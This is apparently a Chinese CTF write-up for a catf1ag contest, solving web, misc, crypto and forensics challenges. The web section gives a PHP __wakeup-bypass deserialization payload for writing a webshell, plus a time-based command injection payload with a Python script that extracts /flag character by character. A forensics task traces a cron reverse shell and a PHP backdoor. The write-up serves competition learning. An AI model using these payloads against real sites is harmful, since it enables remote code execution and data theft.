catf1ag平台AK赛

平台:catf1ag CTFicon-default.png?t=M3K6https://catf1ag.cn/

这篇也不是正式官方文档 但csdn平台人多,懂的都懂

官方的文档两小时AK赛---WP · 语雀 (yuque.com)icon-default.png?t=M3K6https://www.yuque.com/vfree/oxrfqt/gf2wdz

目录

WEB

[两小时AK赛] - WEB - 签到了!!!你会玩2048么?

[两小时AK赛] - WEB - easy_unser

[两小时AK赛] - WEB - 你猜猜是什么注入?

MISC

[两小时AK赛] - MISC - 签签

[两小时AK赛] - MISC - 奇怪的字符

[两小时AK赛] - MISC - 这4什么好看的

CRYPTO

[两小时AK赛] - CRYPTO - 怎么会多一个呢

[两小时AK赛] - CRYPTO - 高实在是高

[两小时AK赛] - CRYPTO - 栓q

PWN/Attack

[两小时AK赛] - PWN/ATTACK - 查杀


 

WEB

[两小时AK赛] - WEB - 签到了!!!你会玩2048么?

签到题,进入页面后发现是个小游戏,F12,在js文件中搜索胜利条件即可

catf1ag平台AK赛_第1张图片 注意flag格式

[两小时AK赛] - WEB - easy_unser

cve-2016-7124 __wakeup绕过序列化漏洞 非常简单 无需考虑构造pop链 放个vfree师傅写的文章

CVE-2016-7124反序列化漏洞 - 云+社区 - 腾讯云 (tencent.com)icon-default.png?t=M3K6https://cloud.tencent.com/developer/article/1922152catf1ag平台AK赛_第2张图片

序列化出来:O:7:"catf1ag":1:{s:6:"target";s:4:"flag";} 

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

此时就可以构造大于代码中的属性,把catf1ag后面的1改成2,然后我们把目光放到第8-10行,意思是将$target的值写入到catf1ag.php中,那么,到这里,思路也应该清晰了吧,将对象属性的个数写成2,然后通过target传入一句话木马或者读flag文件,最终payloads:

 O:7:"catf1ag":2:{s:6:"target";s:28:"";}

[两小时AK赛] - WEB - 你猜猜是什么注入?

考察命令注入,但是这个命令注入和往时的不一样,主要是做了时间注入的成分在里面,题目本身过滤了很多函数和命令,如果匹配到过滤的字符,就会提示有waf,经过遍历发现,没有过滤cat,其实,既然是带有时间注入的命令注入,那我们就能用Linux命令sleep配合cat /flag,然后再转成数字,这里也可以手测,但是20多个字符得测到什么时候,所以用脚本跑更快,payload:

/?catf1ag=sleep `cat /flag | cut -c a | tr {1} 2`

通过替换cut -c {字符}和tr {数字},让正确的字符转成数字,然后配合sleep就可以达到时间注入的效果,通过观察返回的时间就能判断出正确的字符,抛出来后,注意要对照给出的flag格式catf1ag{xxxxx-xxxxx-xxxxx-xxxxx-xxxxx}

 (101条消息) catf1ag web题目 WriteUp_Anton1a的博客-CSDN博客icon-default.png?t=M3K6https://blog.csdn.net/m0_46520554/article/details/122518867?spm=1001.2014.3001.5501

 用这个师傅构造的exp

import requests
import time
# s = ""
# for i in range(32,128):
#     s += chr(i)
s = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = ""
for i in range(1,50):
    for j in s:
        url = "http://25a4e4ad-beaa-4798-b916-fe0767bbc6a8.subject.catf1ag.cn:9999/?catf1ag=" + f"sleep `cat /flag | cut -c {i} | tr {j} 2`"
        try:
            print(url)
            requests.adapters.DEFAULT_RETRIES = 5 # 增加重连次数
            requests.get(url,timeout=2)
        except Exception as e:
            print(str(e))
            flag += j
            print(flag)
            break
        time.sleep(2)
print(flag)

 注意更换URL 另外可能需要多跑几次 注意格式

MISC

[两小时AK赛] - MISC - 签签

winhex打开文件,在最下面发现有明显base64特征的字符串,

catf1ag平台AK赛_第3张图片

拿到在线解码网站 base64解码 base64编码 在线base64解码/编码工具

catf1ag平台AK赛_第4张图片

catf1ag平台AK赛_第5张图片

[两小时AK赛] - MISC - 奇怪的字符

看起来很像rot47 但其实不是 简单异或 把txt文件复制出来

exp构造:

data = open('secret.txt','r').read()#注意py文件与txt文件在同一文件夹下
a = 1
for i in data:
    print(chr(ord(i)^a),end='')#把txt文件内容中的字符转换成进制 每位与a递增异或,再重新转成字符
    a+=1

[两小时AK赛] - MISC - 这4什么好看的

获得一张美女图 这道需要steghide工具 工具相关介绍

隐写工具Steghide - 简书icon-default.png?t=M3K6https://www.jianshu.com/p/c3679f805a0c?msclkid=b253c199cf4611ecb774d289698d9c12

把照片与steghide 保留在同一文件夹下 编写python脚本

import os
for i in range(0,9999):
    os.system(f'steghide extract -sf test2.jpeg -p {i}')
    print(i)

catf1ag平台AK赛_第6张图片

在新建的flag.txt中即可查看

CRYPTO

[两小时AK赛] - CRYPTO - 怎么会多一个呢

yafu分解n可以分解出三个因子

catf1ag平台AK赛_第7张图片

import libnum
import gmpy2


n=73551482761993440116378276402850976017673970117685879384712768054097267028974244867004238587658366463106703581107613883463180833706377915593443986550610497954246664378469651
e=65537
c=19088340804936031145050310701046663800140062626102387290922890724239533128878474005542684734507475562997222905703018409354867816494925059525377106444000231776165581716296665

p = 4254843227
q = 2492374307
r = 6935768738605665705725288400892432256194550668863095515013942769049162888322407038880737120756913240675144540329112141837524407303580284917764285456453059
phi_n=(p-1)*(q-1)*(r-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)))

 

[两小时AK赛] - CRYPTO - 高实在是高

主要考察的高位明文攻击

非预期

感谢N1key师傅反馈

import gmpy2
from  Crypto.Util.number import long_to_bytes
c = 757846665709612710047622798901607696475966191486157677993807167873384365513676489731461790205050172225086169489914035089956311182880536480621453222154862896612205436092262339764782754486059223792491004753337631375452744373859969281558865685434771438386779285599911963081936786091339632323042550461240292308997539607661877861
## flag = iroot(c,3)
flag = 911717829801678618100911351591485103708233783320853921932061644898078088242070960582223500589907040030308221
print(long_to_bytes(flag))

 

预期解

需要下载sage Sage Cell Server

sage m高位攻击

## sage下
import binascii
def hexStr_to_str(hex_str):
    hex = hex_str.encode('utf-8')
    str_bin = binascii.unhexlify(hex)
    return str_bin.decode('utf-8')
def phase2(high_m, n, c):
    R. = PolynomialRing(Zmod(n), implementation='NTL')
    m = high_m + x
    M = m((m^3 - c).small_roots()[0])
    print(hex(int(M))[2:])
    print(hexStr_to_str(hex(int(M))[2:]))

n=12665183429254325580945372911206360706257079006954643947743121664454914089524916634832685040737214233687785325112424576039016165508146660290974828802710996880849185068704144690143915135774197938764858051298755021664568772363301699454954045374224914126975984844824184263131757665633324767483926757913457691303836308728657455890530401047029807132954324528617558308552469993676230342998368641468028935159530808062712526662606628371783359397956992056631816818089093174030024770769185589578769480295675152580623898653766068001693142399972844934629828827684074705324777912603273764730083438485014417283937379823019721736119
e=3
c=757846665709612710047622798901607696475966191486157677993807167873384365513676489731461790205050172225086169489914035089956311182880536480621453222154862896612205436092262339764782754486059223792491004753337631375452744373859969281558865685434771438386779285599911963081936786091339632323042550461240292308997539607661877861
high_m=911717829801678618100911351591485103708233783320853921932061644898078088242070960582223500287266227352502272

phase2(high_m, n, c)

catf1ag平台AK赛_第8张图片

 

[两小时AK赛] - CRYPTO - 栓q

前半部分flag

在线网址 PDU编码解码工具 (sendsms.cn)

catf1ag平台AK赛_第9张图片

后半部分flag
在线网址 Unicode Steganography with Zero-Width Characters (330k.github.io)

catf1ag平台AK赛_第10张图片

PWN/Attack

[两小时AK赛] - PWN/ATTACK - 查杀

根据题目要求,登录系统后找出对应的信息

  1. 异常IP
  2. shell文件名
  3. php后门文件的连接密码
  4. 新增的可疑用户名

✅ 找出定时的反弹shell和写入的木马

注意关键词"定时",可以想到定时执行任务,查看cat /etc/crontab文件,发现了一个反弹shell

catf1ag平台AK赛_第11张图片

反弹shell语句包含了shell的文件名和反弹的服务器,两个问题已解决

其次,要找出写入的木马文件,一般的网站的目录都在/var/www/html,cd到html目录,发现有10个文件夹,直接上payload:

✅ grep -r 'eval' ./*

catf1ag平台AK赛_第12张图片

并不是每个都是,很多文件有语法问题,要找出非语法问题的文件就是连接密码了,很明显,就是mm33.php,连接密码cat_f1ag_666

最后一个查看可疑用户,直接看passwd文件即可,可疑用户hacker_v

✅ cat /etc/passwd

catf1ag平台AK赛_第13张图片

根据flag格式整理一下

flag格式: catf1ag{异常IP - shell文件名 - php后门文件的连接密码 - 新增的可疑用户名}

✅catf1ag{1.15.155.181-she11.sh-cat_f1ag_666-hacker_v}

你可能感兴趣的:(安全)